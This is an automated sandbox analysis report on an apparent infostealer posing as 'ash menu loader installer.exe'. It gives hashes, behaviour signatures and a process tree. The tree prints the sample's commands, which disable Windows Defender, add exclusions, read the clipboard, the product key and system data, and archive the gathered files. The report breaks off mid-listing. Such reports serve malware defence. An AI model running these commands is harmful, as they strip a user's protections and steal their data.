Analysis

  • max time kernel
    1752s
  • max time network
    1756s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2024 02:13

General

  • Target

    ash menu loader installer.exe

  • Size

    7.6MB

  • MD5

    1cde9e7fdf0cf34057e7aff4b0275aca

  • SHA1

    6b1f3c14f31e1e2c507b547fc63117d12e045240

  • SHA256

    fe0650ef52d54b4081cecf1d4253ac1fd7e73cba98c8dcf3f1ed69c855603c8e

  • SHA512

    a60fd329bb367674bfd6188f3fa68cc59031664ec0c6eca167aa987f9bed197488d439bfd9c5a883d3aec881476de2551e02bdd00dbbacbc587ae72151e33e36

  • SSDEEP

    196608:mbHYJUDwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jz:ZfIHziK1piXLGVE4Ue0VJX

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • UPX packed file 56 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ash menu loader installer.exe
    "C:\Users\Admin\AppData\Local\Temp\ash menu loader installer.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Users\Admin\AppData\Local\Temp\ash menu loader installer.exe
      "C:\Users\Admin\AppData\Local\Temp\ash menu loader installer.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:400
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ash menu loader installer.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ash menu loader installer.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2004
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2336
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4380
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1880
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3924
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:228
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2792
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4788
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:3640
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3100
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:2960
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:528
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:5052
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4864
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:3300
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2332
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:4572
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2520
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:512
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:544
            • C:\Windows\System32\Wbem\WMIC.exe
              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              4⤵
                PID:3884
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
              3⤵
              • Clipboard Data
              • Suspicious use of WriteProcessMemory
              PID:2184
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Get-Clipboard
                4⤵
                • Clipboard Data
                • Suspicious behavior: EnumeratesProcesses
                PID:3564
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2800
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:4536
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3972
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:3376
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "systeminfo"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4748
                • C:\Windows\system32\systeminfo.exe
                  systeminfo
                  4⤵
                  • Gathers system information
                  PID:3256
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                  PID:2964
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:4952
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:1628
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:4972
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        3⤵
                          PID:2836
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            4⤵
                              PID:1500
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:1076
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:1424
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                3⤵
                                  PID:4336
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    4⤵
                                      PID:4308
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "getmac"
                                    3⤵
                                      PID:1620
                                      • C:\Windows\system32\getmac.exe
                                        getmac
                                        4⤵
                                          PID:3964
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI22442\rar.exe a -r -hp"blank224" "C:\Users\Admin\AppData\Local\Temp\GEaOl.zip" *"
                                        3⤵
                                          PID:5028
                                          • C:\Users\Admin\AppData\Local\Temp\_MEI22442\rar.exe
                                            C:\Users\Admin\AppData\Local\Temp\_MEI22442\rar.exe a -r -hp"blank224" "C:\Users\Admin\AppData\Local\Temp\GEaOl.zip" *
                                            4⤵
                                            • Executes dropped EXE
                                            PID:4292
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                          3⤵
                                            PID:2848
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic os get Caption
                                              4⤵
                                                PID:1040
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                              3⤵
                                                PID:628
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic computersystem get totalphysicalmemory
                                                  4⤵
                                                    PID:3648
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                  3⤵
                                                    PID:3476
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic csproduct get uuid
                                                      4⤵
                                                        PID:60
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                      3⤵
                                                        PID:2840
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                          4⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:4960
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                        3⤵
                                                          PID:1804
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic path win32_VideoController get name
                                                            4⤵
                                                            • Detects videocard installed
                                                            PID:3844
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                          3⤵
                                                            PID:4932
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                              4⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:4312
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
                                                        1⤵
                                                        • Enumerates system info in registry
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Suspicious use of SendNotifyMessage
                                                        PID:2340
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffd555446f8,0x7ffd55544708,0x7ffd55544718
                                                          2⤵
                                                            PID:1228
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1892 /prefetch:2
                                                            2⤵
                                                              PID:3756
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:3
                                                              2⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:3092
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
                                                              2⤵
                                                                PID:4424
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
                                                                2⤵
                                                                  PID:2792
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
                                                                  2⤵
                                                                    PID:4336
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3960 /prefetch:1
                                                                    2⤵
                                                                      PID:2036
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4180 /prefetch:1
                                                                      2⤵
                                                                        PID:5016
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4424 /prefetch:8
                                                                        2⤵
                                                                          PID:412
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4424 /prefetch:8
                                                                          2⤵
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:4500
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5384 /prefetch:1
                                                                          2⤵
                                                                            PID:1892
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1
                                                                            2⤵
                                                                              PID:1664
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4224 /prefetch:1
                                                                              2⤵
                                                                                PID:2964
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1936,13662859401798510671,16851665542461998831,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1076 /prefetch:2
                                                                                2⤵
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                PID:4412
                                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                              1⤵
                                                                                PID:4148
                                                                              • C:\Windows\System32\CompPkgSrv.exe
                                                                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                1⤵
                                                                                  PID:1892

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v15

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  d85ba6ff808d9e5444a4b369f5bc2730

                                                                                  SHA1

                                                                                  31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                  SHA256

                                                                                  84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                  SHA512

                                                                                  8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                  Filesize

                                                                                  152B

                                                                                  MD5

                                                                                  bffcefacce25cd03f3d5c9446ddb903d

                                                                                  SHA1

                                                                                  8923f84aa86db316d2f5c122fe3874bbe26f3bab

                                                                                  SHA256

                                                                                  23e7cbbf64c81122c3cb30a0933c10a320e254447771737a326ce37a0694d405

                                                                                  SHA512

                                                                                  761dae5315b35ec0b2fe68019881397f5d2eadba3963aba79a89f8953a0cd705012d7faf3a204a5f36008926b9f614980e333351596b06ce7058d744345ce2e7

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  5KB

                                                                                  MD5

                                                                                  5f890c401401f22f0cb21af343171e14

                                                                                  SHA1

                                                                                  ae705275f1d15a5d31f21c718fe0436eba00e025

                                                                                  SHA256

                                                                                  30e421436808117e95ef62f662ee8b436a87a46a5e891fa79b0bdcc72beebf23

                                                                                  SHA512

                                                                                  0b9faf3df9cf7e0cb7bbb015357c2c2164e63afaf7b1b50aaab48953cc1319c64b75e53e6c58623b0ac92619fe8515b1e3cff97b6334964ab8bbd6911a5f3735

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  6KB

                                                                                  MD5

                                                                                  51e1afd0225d4142d2edd186347d63a6

                                                                                  SHA1

                                                                                  bc4d0c3cd41c05f80cd4bbce225e1c4795913c5e

                                                                                  SHA256

                                                                                  dade4a686553b2afb4050e48c22fdb13b85d3c8034ba35685e81ef7ec15caa34

                                                                                  SHA512

                                                                                  722d9f708680d042f59fb4e64734982e4fc694b7fb74cace09fcc17a30d7532ed4f5b3ba753b208092d0723ee7956f111371e075494c27b2b254336fc6c99390

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                                  Filesize

                                                                                  16B

                                                                                  MD5

                                                                                  6752a1d65b201c13b62ea44016eb221f

                                                                                  SHA1

                                                                                  58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                                  SHA256

                                                                                  0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                                  SHA512

                                                                                  9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                  Filesize

                                                                                  10KB

                                                                                  MD5

                                                                                  13e628e64fc11d33654af7da3e1bcbbb

                                                                                  SHA1

                                                                                  eb98ce44211510616bf590a9762205e842ed6381

                                                                                  SHA256

                                                                                  abdf07eb1fe11ba90a7606501bd37efd2d8654b2b07788dd2534ae4de3b19ec1

                                                                                  SHA512

                                                                                  15982ce287b46b5fbc4c0e481680e864e9a2d69198e95151b5075149edfa2af092b198433a2327d995cfc6e62c2414abfb9ae2e4e1d83334066c1704e96bbf87

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                  Filesize

                                                                                  944B

                                                                                  MD5

                                                                                  77d622bb1a5b250869a3238b9bc1402b

                                                                                  SHA1

                                                                                  d47f4003c2554b9dfc4c16f22460b331886b191b

                                                                                  SHA256

                                                                                  f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                                                                                  SHA512

                                                                                  d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                  Filesize

                                                                                  64B

                                                                                  MD5

                                                                                  1cde9a0faeb25c1fe3af6cdb1a89d07e

                                                                                  SHA1

                                                                                  e907274a212d98b3c218c6716b4b9f796cb1122d

                                                                                  SHA256

                                                                                  413eb41899d5712046e6d0a113386782d497d4fc61acb31673a573217eb59883

                                                                                  SHA512

                                                                                  984a8010668cba9cb6a75448c797d121d1b10150a240b4264617bd9b39bf1d72a43f025b54c3f166de463340398e63cf69db5f7e2336e3272bab6e2920110541

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                  Filesize

                                                                                  64B

                                                                                  MD5

                                                                                  446dd1cf97eaba21cf14d03aebc79f27

                                                                                  SHA1

                                                                                  36e4cc7367e0c7b40f4a8ace272941ea46373799

                                                                                  SHA256

                                                                                  a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

                                                                                  SHA512

                                                                                  a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

                                                                                • C:\Users\Admin\AppData\Local\Temp\GEaOl.zip

                                                                                  Filesize

                                                                                  5KB

                                                                                  MD5

                                                                                  0f8735a32cc57fe51c611bb5395a0cb7

                                                                                  SHA1

                                                                                  8506c2fb3995df6ff361c9446594c3cfa7315686

                                                                                  SHA256

                                                                                  be51afc5b8bb8db1593d97d8f271d3c254853562af57913a1db42edc83f5f7c4

                                                                                  SHA512

                                                                                  2daad939ad254b10b0990b698b1a6590ef8e5977091aa2b4afb35382bb0c0f311720d56e0516fb5efe0d1445930bfebb3bf67f94e1ae7b284b69f523a0d494c6

                                                                                • C:\Users\Admin\AppData\Local\Temp\_MEI22442\VCRUNTIME140.dll

                                                                                  Filesize

                                                                                  117KB

                                                                                  MD5

                                                                                  862f820c3251e4ca6fc0ac00e4092239

                                                                                  SHA1

                                                                                  ef96d84b253041b090c243594f90938e9a487a9a

                                                                                  SHA256

                                                                                  36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

                                                                                  SHA512

                                                                                  2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

                                                                                • C:\Users\Admin\AppData\Local\Temp\_MEI22442\_bz2.pyd

                                                                                  Filesize

                                                                                  48KB

                                                                                  MD5

                                                                                  58fc4c56f7f400de210e98ccb8fdc4b2

                                                                                  SHA1

                                                                                  12cb7ec39f3af0947000295f4b50cbd6e7436554

                                                                                  SHA256

                                                                                  dfc195ebb59dc5e365efd3853d72897b8838497e15c0977b6edb1eb347f13150

                                                                                  SHA512

                                                                                  ad0c6a9a5ca719d244117984a06cce8e59ed122855e4595df242df18509752429389c3a44a8ba0abc817d61e37f64638ccbdffc17238d4c38d2364f0a10e6bc7

                                                                                • C:\Users\Admin\AppData\Local\Temp\_MEI22442\_ctypes.pyd

                                                                                  Filesize

                                                                                  62KB

                                                                                  MD5

                                                                                  79879c679a12fac03f472463bb8ceff7

                                                                                  SHA1

                                                                                  b530763123bd2c537313e5e41477b0adc0df3099

                                                                                  SHA256

